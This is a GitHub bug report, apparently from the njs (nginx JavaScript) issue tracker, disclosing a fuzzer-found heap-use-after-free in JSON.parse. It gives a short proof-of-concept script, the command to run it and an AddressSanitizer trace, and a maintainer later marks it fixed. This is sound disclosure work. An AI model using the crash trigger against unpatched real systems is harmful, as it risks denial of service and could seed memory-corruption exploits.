New issue

Jump to bottom

heap-use-after-free in njs_json_parse_iterator_call #325

Closed **Changochen** opened this issue on Jun 28, 2020 · 1 comment

Labels bug fluff fuzzer

Changochen commented on Jun 28, 2020

Version: `0.4.2` , git commit `32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5`

POC:

```
function a() {
  this[this['use asm'] = this[this[1024] = ArrayBuffer]] = this[ArrayBuffer] =
      4000
}
JSON.parse("[1, 2, []]", a)
```

cmd: `njs poc.js`

Stack dump:

```
=================================================================
==262019==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000000210 at pc 0x0000005e7fbc bp 0x7ffecccad3f0 sp 0x7ffecccad3e8
WRITE of size 1 at 0x62b000000210 thread T0
    #0 0x5e7fbb in njs_json_parse_iterator_call /home/yongheng/njs/src/njs_json.c:1030:17
    #1 0x5e7fbb in njs_json_parse_iterator /home/yongheng/njs/src/njs_json.c:971:15
    #2 0x5e7fbb in njs_json_parse /home/yongheng/njs/src/njs_json.c:167:16
    #3 0x5ff82e in njs_function_native_call /home/yongheng/njs/src/njs_function.c:707:11
    #4 0x507611 in njs_function_frame_invoke /home/yongheng/njs/src/njs_function.h:172:16
    #5 0x507611 in njs_vmcode_interpreter /home/yongheng/njs/src/njs_vmcode.c:778:23
    #6 0x4c8f01 in njs_process_script /home/yongheng/njs/src/njs_shell.c:843:19
    #7 0x4c68ce in njs_process_file /home/yongheng/njs/src/njs_shell.c:562:11
    #8 0x4c68ce in main /home/yongheng/njs/src/njs_shell.c:286:15
    #9 0x7f10a367db96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #10 0x41c089 in _start (/home/yongheng/njs/build/njs+0x41c089)

0x62b000000210 is located 16 bytes inside of 24632-byte region [0x62b000000200,0x62b000006238)
freed by thread T0 here:
    #0 0x4940fd in __interceptor_free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3
    #1 0x58fefa in njs_array_expand /home/yongheng/njs/src/njs_array.c:386:5

previously allocated by thread T0 here:
    #0 0x494e37 in __interceptor_posix_memalign /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:226:3
    #1 0x77c2fd in njs_memalign /home/yongheng/njs/src/njs_malloc.c:39:11
    #2 0x4daeed in njs_mp_alloc_large /home/yongheng/njs/src/njs_mp.c:578:13
    #3 0x4daeed in njs_mp_align /home/yongheng/njs/src/njs_mp.c:331:16

SUMMARY: AddressSanitizer: heap-use-after-free /home/yongheng/njs/src/njs_json.c:1030:17 in njs_json_parse_iterator_call
Shadow bytes around the buggy address:
  0x0c567fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c567fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8040: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==262019==ABORTING
```

👀 1

xeioex added bug fluff fuzzer labels on Jun 28, 2020

nginx-hg-mirror pushed a commit that referenced this issue on Oct 6, 2020

Fixed heap-use-after-free in JSON.parse(). ··· 9ab425e

xeioex commented on Oct 6, 2020 Contributor

Fixed in 9ab425e .

xeioex closed this as completed on Oct 6, 2020

Assignees

No one assigned

Labels

bug fluff **fuzzer**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants